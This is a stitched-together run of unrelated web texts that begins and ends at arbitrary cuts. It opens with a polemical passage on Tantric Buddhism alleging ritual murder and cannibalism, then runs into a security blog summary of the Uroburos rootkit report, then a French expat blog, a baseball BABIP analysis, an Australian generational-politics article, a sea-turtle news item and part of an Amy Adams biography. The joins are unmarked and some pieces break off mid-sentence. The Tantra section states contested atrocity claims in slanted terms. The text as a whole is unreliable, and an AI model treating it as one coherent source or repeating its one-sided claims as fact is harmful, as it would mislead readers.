Consumed by this snake even the Buddha is destroyed with certainty. One lets the the perils and torments of all beings in the ten directions descend upon the enemy. This is the best. The is the supreme type of invocation” (quoted by Gäng, 1988, p. 230). This can be strengthened with the following aggressive mantra: “Om, throttle, throttle, stand, stand, bind, bind, slay, slay, burn, burn, bellow, bellow, blast, blast the leader of all adversity, prince of the great horde, bring the life to an end” (quoted by Gäng, 1988, p. 230). We encounter a particularly interesting murder fantasy in the deliberate staging of the Oedipus drama which a passage from the Candamaharosana Tantra requires. The adept should slay Aksobhya, his Buddha father, with a sword, give his mother, Mamaki, the flesh of the murdered father to eat and have sexual intercourse with her afterwards (George, 1974, p. 59; Filliozat, 1991, p. 430). Within the spectrum of Buddhist/tantric killing practices, the deliberately staged “suicide” of the “sevenfold born” represents a specialty. We are dealing here with a person who has been reincarnated seven times and displays exceptional qualities of character. He speaks with a pleasant voice, observes with beautiful eyes and possesses a fine-smelling and glowing body which casts seven shadows. He never becomes angry and his mind is constantly filled with infinite compassion. Consuming the flesh of such a wonderful person has the greatest magical effects. Hence, the Tantric should offer a “sevenfold born” veneration with flowers and ask him to act in the interests of all suffering beings. Thereupon — it says in the relevant texts — he will without hesitation surrender his own life. Afterwards pills are to be made from his flesh, the consumption of which grant among other things the siddhis (powers) of ‘sky-walking’. Such pills are in fact still being distributed today. The heart-blood is especially sought after, and the skull of the killed blessed one also possesses magical powers (Farrow and Menon, 1992, p. 142). When one considers the suicide request made to the “sevenfold born”, the cynical structure of the tantric system becomes especially clear. His flesh is so yearned-for because he exhibits that innocence which the Tantric on account of his contamination with all the base elements of the world of appearances no longer possesses. The “sevenfold born” is the complete opposite of an adept, who has had dealings with the dark forces of the demonic. In order to transform himself through the blissful flesh of an innocent, the yogi requests such a one to deliberately sacrifice himself. And the higher being is so kind that it actually responds to this request and afterwards makes his dead body available for sacred consumption. The mystery of the eucharist, in which the body and blood of Christ is divided among his believers springs so readily to mind that it is not impossible that the tantric consumption of a “sevenfold born” represents a Buddhist paraphrase of the Christian Last Supper. (The tantras appeared in the 4th century C.E. at the earliest.) But such self-sacrificial scenes can also be found already in Mahayana Buddhism. In the Sutra of Perfected Wisdom in Eight Thousand Verses a description can be found of how the Bodhisattva Sadaprarudita dismembers his own body in order to worship his teacher. Firstly he slits both his arms so that the blood pours out. Then he slices the flesh from his legs and finally breaks his own bones so as to be able to also offer the marrow as a gift. Whatever opinion one has of such ecstatic acts of self-dismemberment, in Mahayana they always demonstrate the heroic deed of an ethically superior being who wishes to help others. In contrast, the cynical sacrifice of the “sevenfold born” demonstrates the exploitation of a noble and selfless sentiment to serve the power interests of the Tantric. In the face of such base motives, the Tibet researcher David Snellgrove with some justification doubts the sevenfold incarnated’s imputed preparedness to be sacrificed: “Did one track him down and wait for him to die or did one hasten the process? All these tantras give so many fierce rites with the object of slaying, that the second alternative might not seem unlikely...” (Snellgrove, 1987, vol. 1, p. 161). Symbol and reality Taking Snellgrove’s suspicion as our starting point, the question arises as to whether the ritual murder of a person is intended to be real or just symbolic in the tantric scripts. Among Western interpreters of the tantras opinions are divided. Early researchers such as Austine Waddell or Albert Grünwedel presumed a literal interpretation of the rituals described in the texts and were dismayed by them. Among contemporary authors, especially those who are themselves Buddhists, the “crimes” of Vajrayana are usually played down as allegorical metaphors, as Michael M. Broido or Anagarika Govinda do in their publications, for example. This toned-down point of view is, for readily understandable reasons, today thankfully adopted by Tibetan lamas teaching everywhere in the Western world. It liberates the gurus from tiresome confrontations with the ethical norms of the cultures in which they have settled after their flight from Tibet. They too now see themselves called to transform the offensive shady sides of the tantras into friendly bright sides: “Human flesh” for example is to be understood as referring to the own imperfect self which the yogi “consumes” in a figurative sense through his sacred practices. “To kill” means to rob dualistic thought patterns of their life in order to recreate the original unity with the universe, and so forth. But despite such euphemisms an unpleasant taste remains, since the statements of the tantras are so unequivocal and clear. It is at any rate a fact that the entire tantric ritual schema does not get by without dead body parts and makes generous use of them. The sacred objects employed consist of human organs, flesh, and bones. Normally these are found at and collected from the public crematoria in India or the charnel fields of Tibet. But there are indications which must be taken seriously that up until this century Tibetans have had to surrender their lives for ritualistic reasons. The (fourteenth-century) Blue Annals, a seminal document in the history of Tibetan Buddhism, already reports upon how in Tibet the so-called “18 robber-monks” slaughtered men and women for their tantric ceremonies (Blue Annals, 1995, p. 697). The Englishman Sir Charles Bell visited a stupa on the Bhutan-Tibet border in which the ritually killed body of an eight-year-old boy and a girl of the same age were found (Bell, 1927, p. 80). Attestations of human sacrifice in the Himalayas recorded by the American anthropologist Robert Ekvall date from the 1950s (Ekvall, 1964, pp. 165–166, 169, 172). In their criticism of lamaism, the Chinese make frequent and emphatic reference to such ritual killing practices, which were still widespread at the time of the so-called “liberation” of the country, that is until the end of the 1950s. According to them, in the year 1948 21individuals were murdered by state sacrificial priests from Lhasa as part of a ritual of enemy destruction, because their organs were required as magical ingredients (Grunfeld, 1996, p. 29). Rather than dismissing such statements in advance as evil communist propaganda, the original spirit of the tantra texts would seem to afford that they be investigated conscientiously and without prejudice. The morbid ritual objects on display in the Tibetan Revolutions Museum established by the Chinese in Lhasa, certainly teach us something about horror: prepared skulls, mummified hands, rosaries made of human bones, ten trumpets made from the thigh bones of 16-year-old girls, and so on. Among the museum’s exhibits is also a document which bears the seal of the (Thirteenth or Fourteenth?) Dalai Lama in which he demands the contribution of human heads, blood, flesh, fat, intestines, and right hands, likewise the skins of children, the menstrual blood of a widow, and stones with which human skulls had been staved in, for the “strengthening of holy order” (Epstein, 1983, p.138). Further, a small parcel of severed and prepared male sexual organs which are needed to conduct certain rituals can also be seen there, as well as the charred body of a young woman who was burned as a witch. If the tantra texts did not themselves mention such macabre requisites, it would never occur to one to take this demonstration of religious violence seriously. That the Chinese with their accusations of tantric excesses cannot be all that false, is demonstrated by the relatively recent brutal murder of three lamas, which deeply shook the exile-Tibetan community in Dharamsala. On 4 February 1997, the murdered bodies of the 70-year-old lama Lobsang Gyatso, head of the Buddhist-dialectical school, and two of his pupils were found just a few yards from the residence of the Fourteenth Dalai Lama. The murderers had repeatedly stabbed their victims with a knife, had slit their throats and according to press reports had partially skinned their corpses (Süddeutsche Zeitung, 1997, no. 158, p. 10). All the observers and commentators on the case were of the unanimous opinion that this was a case of ritual murder. In the second part of our analysis we examine in detail the real and symbolic background and political implications of the events of 4 February. At any rate, the supreme demands which a yogi must make of himself in order to expose a “crime” which he “really” commits as an illusion speaks for the likelihood of the actual staging of a killing during a tantric ritual. In the final instance the conception that everything is only an illusion and has no independent existence leads to an indifference as to whether a murder is real or “just” allegorical. From this point of view everything in the world of Vajrayana is both “real” and “symbolic”. “We touch symbols, when we think we are touching bodies and material objects”, writes Octavio Paz with regard to Tantrism, “And vice versa: according to the law of reversibility all symbols are real and touchable, ideas and even nothingness has a taste. It makes no difference whether the crime is real or symbolic: Reality and symbol fuse, and in fusing they dissolve” (Paz, 1984, pp. 91–92). Concurrence with the demonic The excesses of Tantrism are legitimated by the claim that the yogi is capable of transforming evil into good via his spiritual techniques. This inordinate attempt nonetheless give rise to apprehensions as to whether the adept does in fact have the strength to resist all the temptations of the “devil”? Indeed, the “law of inversion” always leads in the first phase to a “concurrence with the demonic” and regards contact with the “devil” as a proper admission test for the path of enlightenment. No other current in any of the world religions thus ranks the demons and their retinue so highly as in Vajrayana. The image packed iconography of Tibet literally teems with terrible deities (herukas) and red henchmen. When one dares, one’s gaze is met by disfigured faces, hate-filled grimaces, bloodshot eyes, protruding canines. Twisted sneers leave one trembling — at once both terrible and wonderful, as in an oriental fairy-tale. Surrounded by ravens and owls, embraced by snakes and animal skins, the male and female monster gods carry battle-axes, swords, pikes and other murderous cult symbols in their hands, ready at any moment to cut their opponent into a thousand pieces. The so-called “books of the dead” and other ritual text are also storehouses for all manner of zombies, people-eaters, ghosts, ghouls, furies and fiends. In the Guhyasamaja Tantra the concurrence of the Buddhas with the demonic and evil is elevated to an explicit part of the program: “They constantly eat blood and scraps of flesh... They drink treachery like milk... skulls, bones, smokehouses, oil and fat bring great joy” (quoted by Gäng, 1988, pp. 259–260). In this document the Buddhist gods give free rein to their aggressive destructive fantasies: “Hack to pieces, hack to pieces, sever, sever, strike, strike, burn, burn” they urge the initands with furious voices (quoted by Gäng, 1988, p. 220). One could almost believe oneself to be confronted with primordial chaos. Such horror visions are not just encountered by the tantric adept. They also, in Tibetan Buddhist tradition, appear to every normal person, sometimes during a lifetime on earth, but after death inevitably. Upon dying every deceased person must, unless he is already enlightened, progress through a limbo (Bardo) in which bands of devils sadistically torment him and attempt to pull the wool over his eyes. As in the Christian Middle Ages, the Tibetan monks’ fantasies also revel in unbearable images of hell. It is said that not even a Bodhisattva is permitted to help a person out of the hell of Vajra (Trungpa, 1992, p. 68). Here too we would like to come up with a lengthier description, in order to draw attention to the anachronistic-excruciating world view of Tantric Buddhism: “The souls are boiled in great cauldrons, inserted into iron caskets surrounded by flames, plunge into icy water and caves of ice, wade through rivers of fire or swamps filled with poisonous adders. Some are sawed to pieces by demonic henchmen, others plucked at with glowing tongs, gnawed by vermin, or wander lost through a forest with a foliage of razor sharp daggers and swords. The tongues of those who blasphemed against the teaching grow as big as a field and the devils plow upon them. The hypocrites are crushed beneath huge loads of holy books and towering piles of relics” (Bleichsteiner, 1937, p. 224). There are a total of 18 different hells, one more dreadful than the next. Above all, the most brutal punishments are reserved for those “sinners” who have contravened the rules of Vajrayana. They can wait for their “head and heart [to] burst” (Henss, 1985, p. 46). A glance at old Tibetan criminal law reveals that such visions of fear and horror also achieved some access to social reality. Its methods of torture and devious forms of punishment were in no way inferior to the Chinese cruelties now denounced everywhere: for example, both hands of thieves were mutilated by being locked into salt-filled leather pouches. The amputation of limbs and bloody floggings on the public squares of Lhas |
the Taliban. The department of defence is in talks with St Martin’s Press to purchase the entire first print run on the grounds of national security. The publisher is content to sell the books but the two sides are in a grinding dispute over what should appear in a censored version and when it should be released. Now St Martin’s Press says it will put the partly redacted manuscript on sale next week whether or not the defence department likes it – and there doesn’t appear much the authorities can do.
Nope, nothing besides seeing to it that this book climbs rapidly up the best-seller lists…
Pentagon tries to buy entire print run of US spy expose Operation Dark Heart (Guardian)Security experts at G Data, the German anti-virus firm, have discovered a “very complex and sophisticated piece of malware, designed to steal confidential data”.
So far that sounds reasonably interesting, but (frankly) not that extraordinary in these days of targeted attacks against organisations.
But what makes the Uroburos rootkit stand out from the crowd is that G Data’s detailed report into the malware reveals that their researchers believe it to have been created by a country’s intelligence agency, and drops some heavy hints that Russia are to blame.
The Uroburos rootkit takes its name from a mythical serpent or dragon that ate its own tail, and a sequence of characters concealed deep within the malware’s code: Ur0bUr()sGotyOu#
Uroburos steals files from infected computers and captures network traffic, and has some sophisticated tricks up its sleeve to help hackers exfiltrate information from targeted organisations.
For instance, it’s designed to work in peer-to-peer mode, with infected PCs communicating amongst each other. The remote attackers only need to command one infected computer which has an internet connection, in order to infect, control and steal from other infected computers on the network which may not have net access.
Another interesting feature of the malware is that it uses two virtual file systems to disguise its activities from observers:
The Uroburos rootkit uses two virtual file systems – one NTFS file system and one FAT file system. They are stored locally, on the infected machine. This means that the victim’s computer contains an encrypted file, which, in reality, hosts another file system. The virtual file systems are used as a work space by the attackers. They can store third party tools, post-exploitation tools, temporary files and binary output. The virtual file systems can be accessed through the devices \Device\RawDisk1 and \Device\RawDisk2 and the volume \\.\Hd1 and \\.\Hd2.
According to G Data, the Uroburos malware’s technical complexity suggests connections to intelligence agencies:
The development of a framework like Uroburos is a huge investment. The development team behind this malware obviously comprises highly skilled computer experts, as you can infer from the structure and the advanced design of the rootkit. We believe that the team behind Uroburos has continued working on even more advanced variants, which are still to be discovered. … Due to many technical details (file name, encryption keys, behavior and more details mentioned in this report), we assume that the group behind Uroburos is the same group that performed a cyberattack against the United States of America in 2008 with a malware called Agent.BTZ. Uroburos checks for the presence of Agent.BTZ and remains inactive if it is installed. It appears that the authors of Uroburos speak Russian (the language appears in a sample), which corroborates the relation to Agent.BTZ. Furthermore, according to public newspaper articles, this fact, the usage of Russian, also applied for the authors of Agent.BTZ.
In 2008, the spread of Agent.BTZ worm resulted in the US Army banning the use of USB and removable media devices. At the time it was claimed that the Agent.BTZ attack was initiated after an infected USB stick was deliberately “lost” in the US Department of Defense’s car park.
All of this adds up, in the opinion of G Data’s report, to one conclusion - whoever was responsible for creating Uroburos wasn’t the common-or-garden malware author.
According to all indications we gathered from the malware analyses and the research, we are sure of the fact that attacks carried out with Uroburos are not targeting John Doe but high profile enterprises, nation states, intelligence agencies and similar targets.
Of course, we’ve been here before. Not a month goes by without someone accusing country X or country Y of being responsible for a malware attack.
As always, we need to be careful about jumping to conclusions.
Although it’s easy to piece together pieces of “evidence” from malware code such as snippets of language, or resources which have been compiled with certain language settings that *isn’t* necessarily proof beyond reasonable doubt that citizens of a particular country were responsible, let alone that the attack has the backing of the country’s government.
The truth is that attribution when it comes to malware attacks is extremely difficult.
At the same time, we would be naive to think that many countries around the world are not taking advantage of malware, vulnerabilities and hacks to spy upon other nations.
Meanwhile, details are still frustratingly missing. No light has been shined on how Uroburos might infect victim computers (although USB infection and targeted email attacks seem plausible), or who the victims might have been, or what data might have been stolen.
What’s perhaps most embarrassing for all concerned is G Data’s claim that one of the oldest drivers identified in the Uroburos rootkit was compiled in 2011, meaning that it has gone undetected by everyone for at least three years.
You can learn more about Uroburos in G Data’s report on the malware.Competitive Wife has already been roped into a variety of local events and meetings, in two weeks she has sat on the committee for opening a new community library, helped make the local goats cheese tarts called "Torteaux" and baked them in the community oven and at time of writing is at her French class in the local town followed by lunch with the French class at a Creperie called "Le Marmite" (I think it's a big cooking pot roughly the same shape as the jars of savoury spread, must be a connection there). Last week she also went (with a friend who visited from the UK) to a soiree Tartines, which we came to realise can only be described as a toast topping festival! I’m working on her to write an account of "soiree Tartines" for my blog but true to her name she won't let me have it unless it's better written than my entries! (Not altogether difficult one would have thought).
For my own part I'm getting into French society through the medium of DIY and vegetables. We have started receiving vegetables from a variety of sources, in exchange for anything from furniture to cup cakes. Green garlic are particularly plentiful at the moment, we've received about 30 of them so far and are running out of things to put them in. Along with those, in the last week, we have had 4 lettuces and a bag full of what Local service calls spinach but which looks alarmingly like doc leaves, nice in an omelette though. On the DIY front I'm pushing the limits of what I can do on a daily basis, I've replaced windows with cut glass and putty, wired the barn with lights and set up/aligned a satellite dish all for the first time ever. The window and TV work fine so 2 out of 3 isn't too bad. I'm afraid I'll have to call 40 cat man to help with the electrics but he will then need to have a drink with me afterwards and he does smell of cat wee and doesn't say anything while he's having his drink leaving me floundering around to make conversation in basic French!
Well, onwards and upwards and let there be light next time I write.
One of our main concerns before we moved was to ensure that we joined in with the local community and integrated with the French speaking part of it. We needn't have worried, the French speaking community have almost insisted on welcoming us and getting us integrate with village affairs.Been talkin’ about BABIP lately. Let’s talk about BABIP again. Let’s talk about Yasiel Puig, and his BABIP.
Last week, I wrote a post on Starling Marte, in which I examined his extraordinarily high batting average on balls in play. I had a hypothesis, and that hypothesis was confirmed. It was far from revolutionary. I knew that Marte was fast, and then I found out that he hits a bunch of line drives and never hits pop-ups. Then I also found out that those three things alone can explain more than 50% of the variance in a player’s BABIP. Again, that’s really nothing new.
The metric I created, BIP Score, featured Marte prominently near the top. Also near the top were a whole bunch of guys with BABIP’s above.330. Yasiel Puig is another guy with a BABIP above.330. It’s way above.330. During his time in the MLB, only two qualified batters have a higher BABIP than Puig. But he’s nowhere to be found in the top half of the BIP Score leaderboard. From the post:
Not everyone with a high BABIP scores well in BIP Score. Yasiel Puig, for example, owns a career.366 BABIP — higher than Marte’s — but actually has a negative BIP Score, thanks to his low line drive and average pop-up rate.
I felt like that warranted an examination of its own. This post is that examination.
I guess, first, we’ll take a look at that BIP Score. That’s how this all started anyway. To get BIP Score, I simply summed the z-scores of every qualified batter’s line drive rate, infield fly rate and speed score and scaled it so 0 was league average. It’s admittedly a quick-and-dirty metric, but the higher the BIP Score, the more likely it is that a player should be able to sustain a high BABIP.
With this methodology, Puig clocked in with a BIP Score of -0.3. To get a sense of the context, let’s look at the other guys around Puig who also clocked in at -0.3.
So, you see why it makes sense to take a look at this. In Puig’s group, the closest BABIP to his is 56 points lower, and it’s from the guy who plays in Colorado. Of course, all this really means is, Puig has been slightly below average thus far in his career at a combination of hitting line drives, avoiding the pop-up and being fast. But shouldn’t that mean his BABIP should be… y’know, not.366?
The first thing I wanted to look at that isn’t included in BIP Score was batted ball direction. Going up the middle is the best place to hit. The ability to go up the middle or spray the ball to all fields is an indicator of someone with a “pure” swing, someone who can’t be shifted. Shifts kill BABIP. Think Joey Votto. Think Joe Mauer. I expected Puig to demonstrate this, to some extent. I was wrong.
PULL League: 40% Puig: 41%
CENTER League: 35% Puig: 35%
OPPO League: 25% Puig: 24%
Puig hasn’t yet demonstrated the ability to use the whole field any more than the league average, so we can cross that one off.
The next thing I wanted to look at goes hand-in-hand with speed, and it turns out it’s something Puig does quite a bit:
Probably not the best example, but really I just wanted to make a.gif of Yasiel Puig beating out an infield hit because damnit it’s February and I miss baseball. But, point is, Puig does this a lot. Since he entered the league, Puig’s got 42 infield hits. That gives him an infield hit rate of 12%. Last year, Billy Hamilton was at 11%. So was Dee Gordon. So was Jose Altuve. Part of it is that Puig’s fast. He’s not as fast as those guys, but he’s fast. The other part is that he hits a ton of ground balls.
Since he hasn’t hit any line drives, those extra balls in play have to go somewhere, and more often than not, they’ve gone on the ground. Puig’s ground ball rate since he entered the league is the same as guys like Denard Span and Jon Jay, and he’s done a better job than those guys of beating them out.
Grounders, paired with speed, are often a good thing. It’s weird, though, Puig hitting so many grounders. For someone with his strength, it seems wrong to have his name mentioned around guys like Gordon, Altuve, Span and Jay. Feels like we should want him to hit less grounders. Feels like we should want him to hit more line drives and elevate the ball. Then again, it’s worked, and a low line drive rate isn’t necessarily a bad thing.
Qualified hitters, over the last two years, with the lowest line drive rates: Hunter Pence, Mark Trumbo, Yasiel Puig, Josh Donaldson, Nelson Cruz, Jose Bautista. All good hitters, those guys! Really good hitters. In fact, it gives us a pretty perfect comp for Puig, in someone that’s gotten by as a very good hitter with the same unique skill set. These are career numbers:
Name LD% GB% FB% IFFB% IFH% Spd HR/FB% BABIP Hunter Pence 16% 51% 33% 11% 10% 5.1 15%.319 Yasiel Puig 17% 51% 32% 9% 12% 5.6 15%.366
By all accounts, it’s essentially identical, and this should be almost everything that could reasonably explain one’s BABIP — luck excluded. Puig pops out a bit less than Pence, and is a bit faster, but Pence also goes up the middle more often than Puig (not pictured). Yet, in the end, we still have nearly a 50-point difference in BABIP.
So what gives? My gut tells me Puig can’t keep this up. Of course, I’m not exactly going out on a limb by saying the guy with the.366 BABIP can’t keep it up. But with a guy like Marte, you see a strong line drive rate, you see an avoidance of pop-ups, you see the speed, and you see a.350+ BABIP that actually seems pretty reasonable. With Puig, all you really see is the speed. He doesn’t hit line drives, he doesn’t avoid the pop-up, he doesn’t spray the ball. All he’s really got going for him, in terms of his BABIP profile, is the speed that leads to infield hits.
Of course, this isn’t to say that Yasiel Puig is going to fall off a cliff. This isn’t even to say that Yasiel Puig isn’t going to continue being a great hitter — he probably is. After all, Pence has still sustained a.320 career BABIP with essentially the exact same profile, and Puig’s strength and athleticism make him unlike almost any other player in baseball. But there’s still something that gives me pause, in that it’s pretty tough to explain Yasiel Puig’s BABIP.IF there’s one generation to blame for Australia’s social problems, it’s the baby boomers.
That was the controversial verdict of Australia’s Human Rights Commissioner way back in 1999, and it’s one he stands by today.
As younger Australians struggle with rising house prices and HECS debts, Chris Sidoti, who headed the commission under John Howard between 1995-2000, once famously labelled the generation born between 1946-1961 “the most selfish generation in history”.
They’d “refused to pay their share of tax”, been given a “free ride” through tertiary education and were guilty of imposing enormous debt burdens on those who came after them, most notably through the HECS debt devised by boomer politicians.
Fifteen years on, Mr Sidoti says “the chickens are coming home to roost”.
“I don’t think there’s been a generation like this that has been so unwilling to pay a fair share of taxation to ensure everyone in the community the support that’s required and the services that are needed,” he told The Daily Telegraph in 1999, acknowledging that he himself was a baby boomer.
“We are now the people who are in positions of influence with the media, government, business and most walks of life, and it we are to say there are people in Australia who aren’t doing well, I think we have to look at ourselves as the people who are responsible for that.
“Young people are entering the workforce debt-ridden.”
This week, when asked if he stood by his comments, he was quick to answer.
“Yes,” he said, remembering them as “the most controversial” remarks he’s ever delivered.
“Things have changed in 15 years but I stand by my views about the stinginess of my generation,” he told news.com.au.
He’s right: things have changed. Whatever “free ride” baby boomers were afforded in their earlier years, they are more than making up for it now.
The retirement age is climbing and superannuation desperately needs “a makeover”. The parents of baby boomers are living longer and the children of baby boomers are waiting to deliver on grandchildren. All that leads to a “squeeze”, the irony of which is not lost on Mr Sidoti.
“When I look around at my friends, it seems that the chickens are coming home to roost,” he said.
“Baby boomers are caring for their parents who are living longer. At the same time, childcare needs are greater so we’re being called upon to look after the grandkids, too. Meanwhile, we’re also having to work longer.
“This generation that didn’t pay its way is now being squeezed by longer (working) responsibilities, increased responsibilities for frail parents and increased responsibilities for grandchildren.”
The free ride is well and truly over.
Given his stinging attack on baby boomers, one would imagine Mr Sidoti might have a few barbs for GenY, routinely described as “selfish narcissists”.
Instead, he is entirely sympathetic.
“They’re hard done by,” he said.
“As I said 15 years ago, the generations after us are graduating with enormous debt burdens and prospects are bleak. Couple that with increasing housing prices and you’ve got a real problem.
“The pressures on (generation X), and even more on the one after that, are even greater than they were 15 years ago.”
Chief among them, the median Sydney house price is tipped to hit $1 million by Christmas. First home buyers in Melbourne are having to take out an average loan of $335,000, a figure that shot up by nearly $16,000 in a single month, according to the Australian Bureau of Statistics.
All that while paying off mounting HECS debts.
Mr Sidoti said the pressure is enormous, and often they pile it on themselves.
“I see among the GenY and the Millenials enormous levels of idealism and community engagement but they’re under high pressure and it’s difficult if not almost impossible for them to come near to the expectations placed upon them.”
Well, at least we know who to blame now. Or do we?
Social researcher Mark McCrindle disagrees. He says there’s evidence to suggest they’ve been the “backbone” of the country.
“I wouldn’t say they’re selfish,” he told news.com.au.
“Instead, I’d say they’re the lucky generation. They were just raised in good economic times. They could buy a home when the average house price was five times the average earning income. Today’s it’s almost three times as expensive.”
He concedes gen Y have it tough, but that’s not the fault of baby boomers. In fact, he said, baby boomers have done more than their share of heavy lifting to help out future generations.
“They inherited the times and they benefited from the times. It wasn’t their fault,” he said.
“If we look at what they’re doing now, they’re not selling off empty homes and living in luxury, they’re letting kids stay at home longer, lending their cars. In a sense, they’re taking on the cost of living for their children. The baby boomers have been more supportive of their children’s generation than their parents were of them.”Enlarge By Eric Gay, AP Allison, a rescued green sea turtle with only one flipper, swims with the aid of a newly designed neoprene ninja suit in South Padre Island, Texas Wednesday. SOUTH PADRE ISLAND, Texas (AP) Turtle rescuers have demonstrated the first fin suit designed to allow a green sea turtle that lost three of its flippers to finally swim a straight line. Workers at Sea Turtle Inc. strapped Allison, a five-year-old rescued turtle, on Wednesday into a neoprene "ninja" suit that holds a carbon-fiber fin in place on her back. The fin acts as a rudder, allowing her to propel herself forward with her sole fin. The success follows failed attempts last year to fit her with a prosthetic rear flipper. Before today, Allison could only swim in tight circles with her one good flipper. Copyright 2009 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read moreFor other people named Amy Adams, see Amy Adams (disambiguation)
American actress and singer
Amy Lou Adams (born August 20, 1974) is an American actress. Known for both her comedic and dramatic performances, she has featured thrice in annual rankings of the highest-paid actresses in the world. Her accolades include two Golden Globes and nominations for six Academy Awards and seven British Academy Film Awards.
Born in Vicenza, Italy, and raised in Castle Rock, Colorado, Adams is the fourth of seven siblings. She trained to be a ballerina but at age 18 found musical theater a better fit, and from 1994 to 1998 she worked in dinner theater. She made her feature film debut with a supporting part in the 1999 satire Drop Dead Gorgeous. After moving to Los Angeles, she made guest appearances in television and took on "mean girl" parts in small-scale features. Her first major role came in Steven Spielberg's 2002 biopic Catch Me If You Can, opposite Leonardo DiCaprio, but she was unemployed for a year afterward. Her breakthrough came in the part of a loquacious pregnant woman in the 2005 independent film Junebug.
The 2007 musical Enchanted, in which Adams played a cheerful princess, was her first major success as a leading lady. She followed it by playing naïve, optimistic women in a series of films such as the 2008 drama Doubt. She subsequently played stronger parts to positive reviews in the sports film The Fighter (2010) and the psychological drama The Master (2012). In 2013, she began portraying Lois Lane in superhero films set in the DC Extended Universe. She won two consecutive Golden Globe Awards for Best Actress for playing a seductive con artist in the crime film American Hustle (2013) and the troubled painter Margaret Keane in the biopic Big Eyes (2014). Further acclaim came for playing a linguist in the science fiction film Arrival (2016), a self-harming reporter in the HBO miniseries Sharp Objects (2018), and Lynne Cheney in the satirical film Vice (2018).
Adams's stage roles include the Public Theater's revival of Into the Woods in 2012, in which she played the Baker's Wife. In 2014, she was named one of the 100 most influential people in the world by Time and featured in the Forbes Celebrity 100 list. She is married to actor Darren Le Gallo, with whom she has a daughter.
Early life
Amy Lou Adams was born August 20, 1974, to American parents Richard and Kathryn Adams, when her father was stationed with the United States Army at the Caserma Ederle military complex in Vicenza, Italy.[1][2] She is the middle of seven children, with four brothers and two sisters.[3] After moving from one army base to another, Adams's family settled in Castle Rock, Colorado, when she was eight.[2] After leaving the army, her father sang professionally in nightclubs and restaurants.[3][4] Adams has described going to her father's shows and drinking Shirley Temples at the bar as among her fondest childhood memories.[5] The family was poor; they camped and hiked together, and performed amateur skits usually written by her father and sometimes by her mother.[2][4][6] Adams was enthusiastic about the plays and always played the lead.[7]
Adams was raised as a Mormon until her parents divorced in 1985 and left the church.[4][8] She did not have strong religious beliefs, but has said that she valued her upbringing for teaching her love and compassion.[3] After the breakup, her father moved to Arizona and remarried, while the children remained with their mother.[2][6] Her mother became a semi-professional bodybuilder who took the children with her to the gym when she trained.[4][6] Adams has compared her uninhibited early years with her siblings to Lord of the Flies.[3] Describing herself as a "scrappy, tough kid", she has said she fought frequently with other children.[9]
Adams attended Douglas County High School. She was not academically inclined, but was interested in the creative arts and sang in the school choir. She competed in track and gymnastics, harbored ambitions of becoming a ballerina, and trained as an apprentice at the local David Taylor Dance Company.[3][7] She disliked high school and kept mostly to herself.[4] After graduation, she and her mother moved to Atlanta, Georgia.[4] She did not go to college, which disappointed her parents, and she later regretted not pursuing higher education.[2][10] At 18, Adams realized she was not gifted enough to be a professional ballerina, and found musical theater more to her taste.[3] One of her first stage roles was in a community theater production of Annie, which she did on a volunteer basis.[2] To support herself, she worked as a greeter at a Gap store.[7] She also worked as a waitress at Hooters, where she had to wear tight outfits and deal with unruly customers.[4][11] She left the job soon after she saved enough money to buy a used car.[12]
Career
1994–2004: Dinner theater and early screen appearances
Adams began her professional career as a dancer in a 1994 dinner theater production of A Chorus Line in Boulder, Colorado.[2][13][14] The job required her to wait on tables before getting up on stage to perform. She enjoyed singing and dancing, but disliked waitressing and ran into trouble when a fellow dancer, whom she considered a friend, made false accusations about her to the director.[15] Adams said, "I never really knew what the lies were. I only knew I kept getting called in and lectured about my lack of professionalism."[2] She lost the job but went on to perform in dinner theater at Denver's Heritage Square Music Hall and Country Dinner Playhouse.[13] During a performance of Anything Goes at the Country Dinner Playhouse in 1995, she was spotted by Michael Brindisi, the president and artistic director of the Minneapolis-based Chanhassen Dinner Theater, who offered her a job there.[13][16] Adams moved to Chanhassen, Minnesota, where she performed in the theater for the next three years.[16] She loved the "security and schedule" of the job, and has said that she learned tremendously from it.[15][16] Nonetheless, the grueling work took its toll on her: "I had a lot of recurring injuries—bursitis in my knees, pulled muscles in my groin, my adductor and abductor. My body was wearing out."[12]
During her time at Chanhassen, Adams acted in her first film—a black-and-white short satire named The Chromium Hook.[16] Soon after, while she was off work nursing a pulled muscle, she attended the locally held auditions for the Hollywood film Drop Dead Gorgeous (1999), a satire on beauty pageants starring Kirsten Dunst, Ellen Barkin, and Kirstie Alley.[2] Adams was cast in the supporting part of a promiscuous cheerleader.[3][7] She felt that her character's personality was far removed from her own and worried about how people would perceive her.[18] The production was filmed locally, which enabled Adams to shoot for her role while also performing Brigadoon on stage.[19] Encouragement from Alley prompted Adams to actively pursue a film career, and she moved to Los Angeles in January 1999.[12][16] She described her initial experience in the city as "dark" and "bleak", and she pined for her life back in Chanhassen.[15]
In Los Angeles, Adams auditioned for whatever parts came her way, but she was mostly given roles of "the bitchy girl".[12][18][19] Her first assignment came within a week of her relocation in Fox's television series Manchester Prep, a spin-off of the film Cruel Intentions, in the lead role of Kathryn Merteuil (played by Sarah Michelle Gellar in the film).[2] Following numerous script revisions and two production shutdowns, the series was canceled.[20] Adams later said that a controversial scene in which her character encourages a girl to masturbate on a horse was the primary reason for its cancellation.[18] The three filmed episodes were re-edited and released later in 2000 as the direct-to-video film Cruel Intentions 2.[2] Despite a negative critical reception, Nathan Rabin of the A.V. Club wrote that Adams plays her "alpha-bitch role with vicious glee largely missing from Sarah Michelle Gellar's sterile take on the character".[21][22]
Adams next had a supporting role as the teenage nemesis of a movie star (played by Kimberly Davies) in Psycho Beach Party (2000), a horror parody of beach party and slasher films.[23] She played the part as a homage to the actress Ann-Margret.[24] From 2000 to 2002, Adams appeared in guest roles in several television series, including That '70s Show, Charmed, Buffy the Vampire Slayer, Smallville, and The West Wing.[25][26]
